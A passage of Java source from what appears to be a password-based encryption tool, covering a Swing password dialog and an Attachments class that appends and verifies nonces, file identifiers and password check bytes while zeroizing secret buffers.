Font(Font.SANS_SERIF, Font.PLAIN, 11));\n\t\t\t\t\t\n\t\t\t\t\tif (fileType.equals(\"passwordSafe\")){\n\t\t\t\t\t\topenFileButton.setText(\"open directory\");\n\t\t\t\t\t} else { // text, image\n\t\t\t\t\t\topenFileButton.setText(languagesBundle.getString(\"open_file\"));//\"open file\");\n\t\t\t\t\t}\n\t\t\t\t\topenFileButton.addActionListener(this);\n\t\t\t\t\topenFileButton.setActionCommand(\"openFile\");\n\t\t\t\t\topenButtonPanel.add(openFileButton);\n\t\t\t\t\topenButtonPanel.add(Box.createHorizontalGlue() );\n\t\t\t\t\t\n\t\t\t\t\ttopPanel.add(singleFilePanel);\n\t\t\t\t\t\n\t\t\t\t\tif (PswDialogBase.searchSingleFile() == null) {\n\t\t\t\t\t\tJOptionPane.showMessageDialog(this,\n\t\t\t\t\t\t\t\tPswDialogBase.getErrorMessage(),\n\t\t\t\t\t\t\t \"Error\",\n\t\t\t\t\t\t\t JOptionPane.ERROR_MESSAGE);\n\t\t\t\t\t\t//reset errorMessage:\n\t\t\t\t\t\tPswDialogBase.setErrorMessage(\"\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}//else\n\t\t\ttopPanel.add(Box.createVerticalStrut(10));//Box.createVerticalStrut(10));\n\t\t\t\n\t\t\tJPanel pswLabelPanel = new JPanel();\n\t\t\tpswLabelPanel.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\tpswLabelPanel.setLayout(new BoxLayout(pswLabelPanel, BoxLayout.X_AXIS));\n\t\t\ttopPanel.add(pswLabelPanel);\n\t\t\t\n\t\t\tif (PeaSettings.getLabelText() == null) {\n\t\t\t\tpswLabel = new JLabel( languagesBundle.getString(\"enter_password\") );\n\t\t\t} else {\n\t\t\t\tpswLabel = new JLabel( PeaSettings.getLabelText() );\n\t\t\t\t//pswLabel.setText(PeaSettings.getLabelText() );\n\t\t\t}\n\t\t\tpswLabel.setPreferredSize(new Dimension( 460, 20));\n\t\t\tpswLabelPanel.add(pswLabel);\n\t\t\tpswLabelPanel.add(Box.createHorizontalGlue());\n\t\t\tJButton charTableButton = new JButton(languagesBundle.getString(\"char_table\"));\n\t\t\tcharTableButton.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\tcharTableButton.addActionListener(this);\n\t\t\tcharTableButton.setActionCommand(\"charTable1\");\n\t\t\tpswLabelPanel.add(charTableButton);\n\n\t\t\t\n\t\t\tJPanel pswPanel = new JPanel();\n\t\t\tpswPanel.setLayout(new BoxLayout(pswPanel, BoxLayout.X_AXIS));\n\t\t\t\n\t\t\tpswField = new JPasswordField();\n\t\t\tpswField.setBackground(new Color(231, 231, 231) );\n\t\t\tpswField.setPreferredSize(new Dimension(400, 30));\n\t\t\tpswField.addKeyListener(this);\n\t\t\tpswField.addKeyListener(new KeyRandomCollector() );\n\n\t\t\tpswPanel.add(pswField);\n\t\t\t\n\t\t\tpswPanel.add(okButton);\n\t\t\ttopPanel.add(pswPanel);\n\t\t\n\t\t} else {// initializing\n\t\t\t\n\t\t\tif (fileType.equals(\"file\") ) {\n\t\t\t\tJPanel initPanel1 = new JPanel();\n\t\t\t\tinitPanel1.setLayout(new BoxLayout(initPanel1, BoxLayout.X_AXIS));\n\t\t\t\tJLabel fileInitializationLabel = new JLabel(\"Select one file and type a password to initialize...\");\n\t\t\t\tinitPanel1.add(fileInitializationLabel);\n\t\t\t\tinitPanel1.add(Box.createHorizontalGlue());\n\t\t\t\ttopPanel.add(initPanel1);\n\t\t\t\t\n\t\t\t\tJPanel initPanel2 = new JPanel();\n\t\t\t\tinitPanel2.setLayout(new BoxLayout(initPanel2, BoxLayout.X_AXIS));\n\t\t\t\tJLabel fileInitializationLabel2 = new JLabel(\"(you can add more files or directories later).\");\n\t\t\t\tinitPanel2.add(fileInitializationLabel2);\n\t\t\t\tinitPanel2.add(Box.createHorizontalGlue());\n\t\t\t\ttopPanel.add(initPanel2);\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tJPanel panel = new JPanel();\n\t\t\tpanel.setPreferredSize(new Dimension(400, 300));\n\t\t\tpanel.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\t\n\t\t\tJLabel infoLabel = new JLabel(\"Initialization... \");\n\t\t\tinfoLabel.setForeground(Color.RED);\n\t\t\tinfoLabel.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\tpanel.add(infoLabel);\n\t\t\tpanel.add(okButton);\n\t\t\t\n\t\t\ttopPanel.add(panel);\n\t\t}\t\t\n\t\t\n\t\tif (PeaSettings.getExternFile() == true){\t\t\n\t\t\t\n\t\t\tJPanel checkRememberPanel = new JPanel();\n\t\t\tcheckRememberPanel.setLayout(new BoxLayout(checkRememberPanel, BoxLayout.X_AXIS));\n\t\t\t\n\t\t\trememberCheck = new JCheckBox();\n\t\t rememberCheck = new JCheckBox();\t\n\t\t rememberCheck.setFont(new Font(Font.SANS_SERIF, Font.PLAIN, 12));\n\t\t rememberCheck.setText(languagesBundle.getString(\"remember_file_names\"));//\"remember selected file names\");\n\t\t rememberCheck.setToolTipText(languagesBundle.getString(\"file_storage_info\")// \"file names will be saved in the file \" +\n\t\t \t\t+ \" \" + PeaSettings.getJarFileName() + \".path\");// in current directory\");\n\t\t\t\n\t\t checkRememberPanel.add(Box.createVerticalStrut(10));\n\t\t checkRememberPanel.add(rememberCheck);\n\t\t checkRememberPanel.add(Box.createHorizontalGlue() );\n\t\t \n\t\t topPanel.add(checkRememberPanel);\n\t\t}\n\t\tif (PeaSettings.getKeyboard() != null) {\n\t\t\tJButton keyboardButton = new JButton(\"keyboard\");\n\t\t\tkeyboardButton.addActionListener(this);\n\t\t\tkeyboardButton.setActionCommand(\"keyboard\");\n\t\t\ttopPanel.add(keyboardButton);\t\t\t\n\t\t}\n\n\t\tthis.setLocation(100,30);\n\t\tpack();\n\t}\n\t\n\tpublic final static PswDialogView getInstance() {\n\t\tif (dialog == null) {\n\t\t\tdialog = new PswDialogView();\n\t\t} else {\n\t\t\t//return null\n\t\t}\n\t\treturn dialog;\n\t}\n\t\n\tpublic static void checkInitialization(){\n\t\t// check if this file was not yet initialized and if not, \n\t\t// remove password field\n\t\ttry {\n\t\t\t// the String \"uninitializedFile\" is stored in the file \"text.lock\"\n\t\t\t// if the pea was not yet initialized\n\t\t\t\n\t\t\t// try to read only the first line: \n\t\t\tBufferedReader brTest = new BufferedReader(new FileReader(\"resources\" + File.separator + \"text.lock\"));\n\t\t String test = brTest .readLine();\n\t\t brTest.close();\n\t\t\tif (test.startsWith(\"uninitializedFile\")){\n\t\t\t\t// set variable initializing to indicate that there is no password or content \n\t\t\t\t//PswDialogView.setInitialize(true);\n\t\t\t\tinitializing = true;\n\t\t\t\tSystem.out.println(\"Initialization\");\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// ignore\n\t\t}\n\t}\n\n\tpublic final void displayErrorMessages(String topic) {\n\t\t\n\t\tsetMessage(topic + \":\\n\" + CipherStuff.getErrorMessage());\n\n\t\tPswDialogView.clearPassword();\n\t}\n\n\t@Override\n\tpublic void keyPressed(KeyEvent kpe) {\n\t\t// EntropyPool must be started by mouse events if initializing\n\t\tif(kpe.getKeyChar() == KeyEvent.VK_ENTER && initializing == false){\n\t\t\tokButton.doClick();\n\t\t}\n\t}\n\t@Override\n\tpublic void keyReleased(KeyEvent arg0) {}\n\t@Override\n\tpublic void keyTyped(KeyEvent arg0) {}\n\n\t@Override\n\tpublic void actionPerformed(ActionEvent ape) {\n\t\tString command = ape.getActionCommand();\n\t\t//System.out.println(\"command: \" + command);\n\t\tif(command.equals(\"keyboard\")){\n\t\t\tPeaSettings.getKeyboard().setVisible(true);\n\t\t\t\n\t\t} else if (command.equals(\"charTable1\")){\n\t\t\tCharTable table = new CharTable(this, pswField);\n\t\t\ttable.setVisible(true);\n\t\t\t\n\t\t} else if (command.equals(\"ok\")){\n\n\t\t\tif (PeaSettings.getKeyboard() != null) {\n\t\t\t\tPeaSettings.getKeyboard().dispose();\n\t\t\t}\n\t\t\t\n\t\t\tstarted = true;\n\n\t\t\tEntropyPool.getInstance().stopCollection();\n\n\t\t\tif (PeaSettings.getExternFile() == true && initializing == false) {\n\n\t\t\t\t// remember this file?\n\t\t\t\tif (rememberCheck.isSelected() ) {\n\t\t\t\t\t\n\t\t\t\t\t\tString[] newNames;\n\t\t\t\t\t\tif (PswDialogBase.getFileType().equals(\"file\")) {\n\t\t\t\t\t\t\t// set encrypted file names:\n\t\t\t\t\t\t\tnewNames = PswDialogBase.getDialog().getSelectedFileNames();\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnewNames = new String[1];\n\t\t\t\t\t\t\tnewNames[0] = PswDialogBase.getEncryptedFileName();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tPswDialogBase.addFilesToPathFile( newNames );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( ! fileType.equals(\"file\")) { // text, image\n\t\t\t\t\t\n\t\t\t\t\t// check if one valid file is selected:\n\t\t\t\t\tif (PswDialogBase.getEncryptedFileName() == null) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tsetMessage(languagesBundle.getString(\"no_file_selected\"));\n\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tPswDialogBase.getDialog().startDecryption();\n\t\t\t\t} else { // file\n\t\t\t\t\tPswDialogBase.getDialog().startDecryption();\n\t\t\t\t}\n\t\t\t} else { // internal File in directory \"resources\"\n\n\t\t\t\t// set resources/text.lock as encryptedFileName\n\t\t\t\tString newFileName = \"resources\" + File.separator + \"text.lock\";\n\n\t\t\t\tPswDialogBase.setEncryptedFileName(newFileName);\n\n\t\t\t\tPswDialogBase.getDialog().startDecryption();\n\t\t\n\t\t\t\t// remember this file?\n\t\t\t\tif (PeaSettings.getExternFile() == true && initializing == false) {\n\t\t\t\t\tif (rememberCheck.isSelected() ) {\n\t\t\t\t\t\tString[] newName = { PswDialogBase.getEncryptedFileName() };\n\t\t\t\t\t\tPswDialogBase.addFilesToPathFile( newName);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tstarted = false;\n\n\t\t\t\n\t\t} else if (command.equals(\"openFile\")) {\n\n\t\t\tJFileChooser chooser = new JFileChooser();\n\n\t\t\tif (fileType.equals(\"text\")) {\n\t\t\t\tFileNameExtensionFilter filter = new FileNameExtensionFilter(\"TEXT FILES\", \"txt\", \"text\", \"rtf\");\n\t\t\t\tchooser.setFileFilter( filter );\n\t\t\t} else if (fileType.equals(\"passwordSafe\")) {\n\t\t\t\tchooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);\n\t\t\t chooser.setAcceptAllFileFilterUsed(false);\n\t\t\t} else if (fileType.equals(\"image\")) {\n\t\t\t\tFileNameExtensionFilter filter = new FileNameExtensionFilter(\"IMAGE FILES\", \"png\", \"jpg\", \"jpeg\", \"bmp\", \"gif\");\n\t\t\t\tchooser.setFileFilter( filter );\n\t\t\t}\n\t\t int returnVal = chooser.showOpenDialog(this);\n\t\t if(returnVal == JFileChooser.APPROVE_OPTION) {\t\t \n\t\t \t\n\t\t \tFile file = chooser.getSelectedFile();\n\t\t \tString selectedFileName = file.getAbsolutePath();\n\t\t \t\n\t\t \tif ( PswDialogBase.checkFile(selectedFileName ) == true ) {\n\t\t\t\t\tfileLabel.setText( selectedFileName );\n\t\t\t\t\tPswDialogBase.setEncryptedFileName( selectedFileName ); \n\t\t \t} else {\n\t\t \t\tsetMessage(languagesBundle.getString(\"error\") \n\t\t \t\t\t\t+ \"\\n\" + languagesBundle.getString(\"no_access_to_file\")\n\t\t \t\t\t\t+ \"\\n\" + file.getAbsolutePath());\n\t\t\t\t\treturn;\n\t\t \t}\n\t\t }\n\t\t}\t\t\n\t}\n\t\n\n\t@Override\n\tpublic void windowActivated(WindowEvent arg0) {}\n\t@Override\n\tpublic void windowClosed(WindowEvent arg0) { // dispose\n\n\t\t// if attacker has access to memory but not to file\n\t\tif (Attachments.getNonce() != null) {\n\t\t\tZeroizer.zero(Attachments.getNonce());\n\t\t}\n\t\tif (PswDialogBase.getDialog() != null) {\n\t\t\tPswDialogBase.getDialog().clearSecretValues();\n\t\t}\t\n\n\t\tthis.dispose();\n\t\t//System.exit(0);\t// do not exit, otherwise files leave unencrypted\t\n\t}\n\t@Override\n\tpublic void windowClosing(WindowEvent arg0) { // x\n\t\t\n\t\tif (started == true) {\n\t\t\treturn;\n\t\t} else {\n\t\t\t// if attacker has access to memory but not to file\n\t\t\tif (Attachments.getNonce() != null) {\n\t\t\t\tZeroizer.zero(Attachments.getNonce());\n\t\t\t}\n\t\t\tif (PswDialogBase.getDialog() != null) {\n\t\t\t\tPswDialogBase.getDialog().clearSecretValues();\n\t\t\t}\n\t\t\tSystem.exit(0);\n\t\t}\t\n\t}\n\t@Override\n\tpublic void windowDeactivated(WindowEvent arg0) {}\n\t@Override\n\tpublic void windowDeiconified(WindowEvent arg0) {}\n\t@Override\n\tpublic void windowIconified(WindowEvent arg0) {}\n\n\t@Override\n\tpublic void windowOpened(WindowEvent arg0) {\n\t\t\n\t\t// do some expensive computations while user tries to remember the password\n\t\tt = this.new WhileTypingThread();\n\t\tt.setPriority( Thread.MAX_PRIORITY );// 10\n\t\tt.start();\n\t\tif (initializing == false) {\n\t\t\tpswField.requestFocus();\n\t\t}\n\t}\n\n\t\n\t//=======================================\n\t// Helper Functions\n\t\n\tpublic final static void setUI() {\n//\t\tUIManager.put(\"Button.background\", peaColor );\t\t\t\t\t\n//\t\tUIManager.put(\"MenuBar.background\", peaColor ); // menubar\n//\t\tUIManager.put(\"MenuItem.background\", color2 ); // menuitem\n\t\tUIManager.put(\"PopupMenu.background\", peaColor );\t//submenu\t\t\t\t\t\t\t\t\t\n\t\tUIManager.put(\"OptionPane.background\", peaColor );\n\t\tUIManager.put(\"Panel.background\", peaColor );\n\t\tUIManager.put(\"RadioButton.background\", peaColor );\n\t\tUIManager.put(\"ToolTip.background\", peaColor );\n\t\tUIManager.put(\"CheckBox.background\", peaColor );\t\n\t\t\n\t\tUIManager.put(\"InternalFrame.background\", peaColor );\n\t\tUIManager.put(\"ScrollPane.background\", peaColor );\n\t\tUIManager.put(\"Viewport.background\", peaColor );\t\n\t\t// ScrollBar.background Viewport.background\n\t}\n\t\n\n\t\n\tprotected final static void updateView(){\n\t\tdialog.dispose();\n\t\tdialog = new PswDialogView();\n\t\tdialog.setVisible(true);\n\t}\n\t\n\t/**\n\t * Perform he action for ok button. Used for initialization. \n\t */\n\tpublic void clickOkButton() {\n\t\tokButton.doClick();\n\t}\n\t\n\n\t\n\t//===============================================\n\t// Getter & Setter\n\tpublic final static char[] getPassword() {\n\t\treturn pswField.getPassword();\n\t}\n\tprotected final static void setPassword(char[] psw) { // for Keyboard\n\t\tpswField.setText( new String(psw) );\n\t}\n\tprotected final static void setPassword(char pswChar) { // for charTable\n\t\tpswField.setText(\"\" + pswChar );\n\t}\n\tpublic final static void clearPassword() {\n\t\tif (pswField != null) {\n\t\t\tpswField.setText(\"\");\n\t\t}\n\t}\n\tpublic final static void setMessage(String message) {\n\t\tif (message != null) {\n\t\t\tmessageArea.setBackground(messageColor);\n\t\t\tmessageArea.setText(message);\n\t\t\tdialog.pack();\n\t\t}\n\t}\n\tpublic final static void setLabelText(String labelText) {\n\t\tif (initializing == true){\n\t\t\tpswLabel.setText(labelText);\n\t\t}\n\t}\n\tpublic final static WhileTypingThread getThread() {\n\t\treturn t;\n\t}\n\tpublic final static Image getImage() {\n\t\tif (image == null) {\n\t\t\tSystem.err.println(\"PswDialogView getImage: image null\");\n\t\t}\n\t return image;\n\t}\n\tpublic final static PswDialogView getView() {\n\t\treturn dialog;\n\t}\n\tpublic final JPanel getFilePanel() {\n\t\treturn filePanel;\n\t}\n\tpublic final static void setFileName(String fileName) {\n\t\tfileLabel.setText(fileName);\n\t}\n\tpublic final static String getFileName() {\n\t\treturn fileLabel.getText();\n\t}\n\tpublic final static Color getPeaColor(){\n\t\treturn peaColor;\n\t}\n\t\n\t/**\n\t * @return the initializing\n\t */\n\tpublic static boolean isInitializing() {\n\t\treturn initializing;\n\t}\n\n\t/**\n\t * @param initializing the initializing to set\n\t */\n\tpublic static void setInitializing(boolean initialize) {\n\t\tPswDialogView.initializing = initialize;\n\t}\n\n\t//================================================\n\t// inner class\n\tpublic class WhileTypingThread extends Thread {\n\t\t// some pre-computations while typing the password\n\t\t@Override\n\t\tpublic void run() {\t\t\n\t\t\tif (PswDialogBase.getDialog() != null) {\n\t\t\t\tPswDialogBase.getDialog().preComputeInThread();\n\t\t\t}\n\t\t}\n\t}\n}", "public final class Attachments {\n\t\n\t// Random values:\n\tprivate static byte[] programRandomBytes = null; // unique for every program/dialog\n\tprivate static byte[] nonce = null; // unique for every encrypted content \n\tprivate static byte[] fileIdentifier = null; // unique for every program/dialog\n\n\t\n\tprotected final static int PSW_IDENTIFIER_SIZE = 8; // byte\n\tprotected final static int FILE_IDENTIFIER_SIZE = 8; // byte\n\tprotected final static int PROGRAM_RANDOM_BYTES_SIZE = KeyDerivation.getSaltSize();// at most 129\n\tprotected final static int NONCE_SIZE = 8; // byte\n\n\t\n\t//========== Helper Functions: ==============================================\n\t\n\tprivate final static void addBytes(RandomAccessFile f, byte[] supplementBytes) \n\t\t\tthrows IOException {\n\t\tf.seek( f.length() ); // set file pointer\n\t\tf.write(supplementBytes, 0, supplementBytes.length ); \n\t}\n\tpublic final static byte[] getLastBytes(RandomAccessFile f, int resultSize, boolean truncate) \n\t\t\tthrows IOException {\n\t\t\n\t\tif (resultSize < 0 || f.length() < resultSize) {\n\t\t\tthrow new IllegalArgumentException(\"invalid value to get last bytes\");\n\t\t}\n\t\t\t\n\t\tbyte[] result = new byte[resultSize];\n\n\t\tlong fileSize = 0;\n\n\t\tfileSize = f.length();\n\t\tif (fileSize - resultSize < 0) {\n\t\t\tthrow new IllegalArgumentException( \"invalid file size, file: \" + f.toString() );\n\t\t}\n\t\tf.seek(fileSize - resultSize); // set file pointer\n\t\tf.read(result, 0, resultSize ); // read bytes\n\t\tif (truncate == true) {\n\t\t\tcutLastBytes(f, resultSize); // truncate file\n\t\t}\n\t\treturn result;\n\t}\n\t// more secure cut (overwrites truncated bytes)\n\tprivate final static void cutLastBytes(RandomAccessFile f, int truncateSize) \n\t\t\tthrows IOException {\n\t\tif (truncateSize < 0 || f.length() < truncateSize) {\n\t\t\tthrow new IllegalArgumentException(\"invalid value to cut last bytes\");\n\t\t}\n\t\tbyte[] nullBytes = new byte[truncateSize];\n\t\tf.seek(f.length() - truncateSize); // set file pointer\n\t\tf.write(nullBytes, 0, nullBytes.length);\n\t\tf.setLength(f.length() - truncateSize);\n\t}\n\n\t\n\t//=== psw identifier ======================================================\n\t\n\t// add the inverted last bytes to the end to check later if password fails\n\t// (invert: if file contains all the same bytes, this method would fail)\n\t// short files: padding identifier with 0xFF (toInvertBytes with 0)\n\t// exits if failed\n/*\tpublic final static void addPswIdentifier(RandomAccessFile f) \n\t\t\tthrows IOException{ \n\t\t\n\t\tbyte[] pswIdentifier = new byte[PSW_IDENTIFIER_SIZE]; // return value\t\t\n\n\t\tlong fileSize = f.length();\n\t\tif (fileSize == 0) {\n\t\t\tthrow new IllegalArgumentException(\"empty file\");\n\t\t}\t\t\t\n\t\t\n\t\tbyte[] toInvertBytes = null;\n\t\tif (fileSize < PSW_IDENTIFIER_SIZE) {\n\t\t\tbyte[] lastBytes = getLastBytes(f, (int)fileSize, false);\n\t\t\ttoInvertBytes = new byte[PSW_IDENTIFIER_SIZE];\n\t\t\tSystem.arraycopy(lastBytes, 0, toInvertBytes, 0, lastBytes.length); // rest 0\n\t\t} else {\n\t\t\ttoInvertBytes = getLastBytes(f, PSW_IDENTIFIER_SIZE, false); \n\t\t}\n\t\tfor (int i = 0; i < PSW_IDENTIFIER_SIZE; i++) {\n\t\t\tpswIdentifier[i] = (byte) ~( (int) toInvertBytes[i]);\n\t\t}\t\n\t\taddBytes(f, pswIdentifier);\n\t\tArrays.fill(toInvertBytes, (byte) 0);\n\t\tArrays.fill(pswIdentifier, (byte) 0);\n\t}*/\n\tpublic final static byte[] addPswIdentifier(byte[] plainBytes) {\n\t\t\n\t\tbyte[] pswIdentifier = new byte[PSW_IDENTIFIER_SIZE]; // return value\t\t\n\n\t\tif (plainBytes.length == 0) { // if no text: set space as plainBytes\n\t\t\tplainBytes = \" \".getBytes();\n\t\t}\t\n\t\tint inputSize = plainBytes.length;\n\t\t\t\n\t\tbyte[] toInvertBytes = new byte[PSW_IDENTIFIER_SIZE];\n\t\tif (inputSize < PSW_IDENTIFIER_SIZE) {\n\t\t\tSystem.arraycopy(plainBytes, 0, toInvertBytes, 0, inputSize); // rest 0\n\t\t} else {\n\t\t\tSystem.arraycopy(plainBytes, inputSize - PSW_IDENTIFIER_SIZE, toInvertBytes, 0, PSW_IDENTIFIER_SIZE);\n\t\t}\n\t\tfor (int i = 0; i < PSW_IDENTIFIER_SIZE; i++) {\n\t\t\tpswIdentifier[i] = (byte) ~( (int) toInvertBytes[i]);\n\t\t}\t\n\t\tbyte[] tmp = new byte[inputSize + PSW_IDENTIFIER_SIZE];\n\t\tSystem.arraycopy(plainBytes, 0, tmp, 0, plainBytes.length);\n\t\tSystem.arraycopy(pswIdentifier, 0, tmp, plainBytes.length, PSW_IDENTIFIER_SIZE);\n\t\tZeroizer.zero(plainBytes);\n\t\tplainBytes = tmp;\n\t\tZeroizer.zero(toInvertBytes);\n\t\tZeroizer.zero(pswIdentifier);\n\t\t\n\t\treturn plainBytes;\n\t}\n\t\t\n\t// truncates only if true\n\tpublic final static byte[] checkAndCutPswIdentifier(byte[] block) { \n\t\t\n\t\tif (block.length <= PSW_IDENTIFIER_SIZE) {\n\t\t\tSystem.err.println(\"block too short for pswIdentifier\");\n\t\t\treturn null;\n\t\t}\n\t\tbyte[] result = new byte[block.length - PSW_IDENTIFIER_SIZE];\n\n\t\tbyte[] bytesToCheck = new byte[PSW_IDENTIFIER_SIZE];\n\t\tbyte[] pswIdentifier = new byte[PSW_IDENTIFIER_SIZE];\n\t\tSystem.arraycopy(block, block.length - PSW_IDENTIFIER_SIZE, pswIdentifier, 0, PSW_IDENTIFIER_SIZE);\n\t\tif (block.length > PSW_IDENTIFIER_SIZE + PSW_IDENTIFIER_SIZE) {\n\t\t\tSystem.arraycopy(block, block.length - PSW_IDENTIFIER_SIZE - PSW_IDENTIFIER_SIZE, bytesToCheck, 0, PSW_IDENTIFIER_SIZE);\n\n\t\t} else { // padded pswIdentifier\n\t\t\tSystem.arraycopy(block, 0, bytesToCheck, 0, block.length - PSW_IDENTIFIER_SIZE);\t\t\n\t\t}\n\t\t\n\t\tfor (int i = 0; i < PSW_IDENTIFIER_SIZE; i++) {\n\t\t\tif ( ~bytesToCheck[i] != pswIdentifier[i]) {\n\t\t\t\tSystem.err.println(\"pswIdentifier failed at position \" + i);\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\t\tZeroizer.zero(bytesToCheck);\n\n\t\tSystem.arraycopy(block, 0, result, 0, result.length);\n\t\tZeroizer.zero(block);\n\t\treturn result;\n\t}\n\n\n\t\n\t//=== file identifier ======================================================\n\t\n\tpublic final static void addFileIdentifier( RandomAccessFile f) \n\t\t\tthrows IOException { \n\t\t\n\t\tif( fileIdentifier == null ) {\n\t\t\tthrow new IllegalArgumentException (\"fileIdentifier null\");\n\t\t}\t\t\n\t\taddBytes(f, fileIdentifier);\n\t}\n\n\tpublic final static byte[] addFileIdentifier(byte[] cipherBytes) {\n\t\t\n\t\tif(cipherBytes == null || fileIdentifier == null) {\n\t\t\tSystem.err.println(\"Attachments: add fileIdentifier failed: \"\n\t\t\t\t\t+ \"cipherBytes or fileIdentifier null\");\n\t\t\tSystem.exit(1);\n\t\t}\n\t\t\n\t\tbyte[] result = new byte[cipherBytes.length + fileIdentifier.length];\n\t\tSystem.arraycopy(cipherBytes, 0, result, 0, cipherBytes.length);\n\t\tSystem.arraycopy(fileIdentifier, 0, \n\t\t\t\tresult, cipherBytes.length, fileIdentifier.length);\n\t\t\n\t\tZeroizer.zero(cipherBytes);\n\t\t\n\t\treturn result;\t\t\n\t}\n\n\tpublic final static boolean checkFileIdentifier( RandomAccessFile f, boolean truncate) \n\t\t\tthrows IOException { \n\t\t\n\t\tif(f.length() < FILE_IDENTIFIER_SIZE ) {\n\t\t\tSystem.err.println(\"file too short to contain fileIdentifier\");\n\t\t\treturn false;\n\t\t}\t\n\n\t\tbyte[] checkIdentifier = getLastBytes(f, FILE_IDENTIFIER_SIZE, false);\n\t\t\n\t\tif (Arrays.equals(checkIdentifier, fileIdentifier)) {\n\t\t\tif (truncate == true) {\n\t\t\t\tcutLastBytes(f, FILE_IDENTIFIER_SIZE);\n\t\t\t}\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\t// return null if check failed\n\tpublic final static byte[] checkFileIdentifier( byte[] input, boolean truncate) {\n\t\t\n\t\tbyte[] result = new byte[input.length - FILE_IDENTIFIER_SIZE];\t\n\t\t//Help.printBytes(\"inpt\", input);\n\t\tif(input.length < FILE_IDENTIFIER_SIZE ) {\n\t\t\tSystem.err.println(\"input too short to contain fileIdentifier\");\n\t\t\treturn null;\n\t\t}\t\n\t\tbyte[] identifierToCheck = new byte[FILE_IDENTIFIER_SIZE];\n\t\tSystem.arraycopy(input, input.length - FILE_IDENTIFIER_SIZE, identifierToCheck, 0, FILE_IDENTIFIER_SIZE);\n\t\t\n\t\tif (Arrays.equals(identifierToCheck, fileIdentifier)) {\n\t\t\tif (truncate == true) {\n\t\t\t\t\t\t\t\n\t\t\t\tSystem.arraycopy(input, 0, result, 0, result.length);\n\t\t\t\tZeroizer.zero(input);\n\t\t\t\t//input = tmp;\t\t\t\t\n\t\t\t}\n\t\t\treturn result;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tpublic final static void generateAndSetFileIdentifier() {\n\t\tfileIdentifier = new RandomStuff().createRandomBytes( Attachments.getFileIdentifierSize() );\t\t\n\t}\n\tpublic final static void setFileIdentifier(byte[] _fileIdentifier) {\n\t\tfileIdentifier = _fileIdentifier;\n\t}\n\tpublic final static byte[] getFileIdentifier() {\n//\t\tif (fileIdentifier == null) {\n//\t\t\tSystem.err.println(\"Attachments getFileIdentifier: fileIdentifier null\");\n//\t\t}\n\t\treturn fileIdentifier;\n\t}\n\t\n\t//=== NONCE ======================================================\n\t\n\tpublic final static void addNonce( RandomAccessFile f, byte[] nonce) \n\t\t\tthrows IOException { \n\t\t\n\t\tif( nonce == null ) {\n\t\t\tthrow new IllegalArgumentException (\"Nonce null\");\n\t\t}\t\t\n\t\taddBytes(f, nonce);\n\t}\n\tpublic final static byte[] addNonce(byte[] cipherBytes, byte[] nonce) {\n\t\t\n\t\tif(cipherBytes == null || nonce == null) {\n\t\t\tSystem.err.println(\"Attachments: addNonce failed: \"\n\t\t\t\t\t+ \"cipherBytes or nonce null\");\n\t\t\tSystem.exit(1);\n\t\t}\n\t\t\n\t\tbyte[] result = new byte[cipherBytes.length + nonce.length];\n\t\tSystem.arraycopy(cipherBytes, 0, result, 0, cipherBytes.length);\n\t\tSystem.arraycopy(nonce, 0, \n\t\t\t\tresult, cipherBytes.length, nonce.length);\n\t\t\n\t\tZeroizer.zero(cipherBytes);\n\t\treturn result;\t\t\n\t}\n\t\n\tpublic final static byte[] getAndCutNonce( RandomAccessFile f, boolean truncate) \n\t\t\tthrows IOException { \n\t\t//int cryptIvLength = CipherStuff.getCipherAlgo().getBlockSize();\n\t\tif(f.length() < NONCE_SIZE ) {\n\t\t\tthrow new IllegalArgumentException(\"file is too short: \" + f.toString() );\n\t\t}\n\t\treturn getLastBytes(f, NONCE_SIZE, truncate);\n\t}\n\t\n\t\n\tpublic final static byte[] generateNonce() {\n\t\treturn new RandomStuff().createRandomBytes( NONCE_SIZE);//CipherStuff.getCipherAlgo().getBlockSize() );\n\n\t}\n\t\n\tpublic final static void setNonce(byte[] _nonce\n\t\t\t) { // required in PswDialogBase\n\t\tif (_nonce == null) {\n\t\t\tthrow new IllegalArgumentException(\"Nonce to set null\");\n\t\t}\n\t\tnonce = _nonce;\n\t}\t\n\tpublic final static byte[] getNonce() {\n\t\tif (nonce == null) {\n\t\t\t//System.err.println(\"Attachments getCryptIV: cryptIV null\");\n\t\t}\n\t\treturn nonce;\n\t}\n\tpublic final static byte[] calculateNonce( byte[] input ) {\n\t\t//int cryptIvLength = CipherStuff.getCipherAlgo().getBlockSize();\n\t\t\n\t\tbyte[] result = new byte[NONCE_SIZE];\n\t\t\n\t\tif (input.length < NONCE_SIZE) {\n\t\t\tSystem.err.println(\"Attachments calculateNonce: input too short\");\n\t\t\treturn null;\n\t\t} else {\n\t\t\tSystem.arraycopy(input, input.length - NONCE_SIZE, result, 0, result.length);\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n\tpublic final static byte[] cutNonce(byte[] input) {\t\n\t\t\t\t\n\t\tif(input.length < NONCE_SIZE ) {\n\t\t\tSystem.err.println(\"input is too short to contain Nonce. \");\n\t\t\treturn null;\n\t\t} \n\t\tbyte[] result = new byte[input.length - NONCE_SIZE];\n\t\tSystem.arraycopy(input, 0, result, 0, result.length);\n\t\tZeroizer.zero(input);\n\t\t\n\t\treturn result;\n\t}\n\t\n\t//===================================================\n\t// Getter & Setter & Generators\n\t\n\tpublic final static void generateAndSetProgramRandomBytes() {\n\t\tprogramRandomBytes = new RandomStuff().createRandomBytes( Attachments.getProgramRandomBytesSize() );\t\t\n\t}\n\tpublic final static void setProgramRandomBytes( byte[] _programRandomBytes) 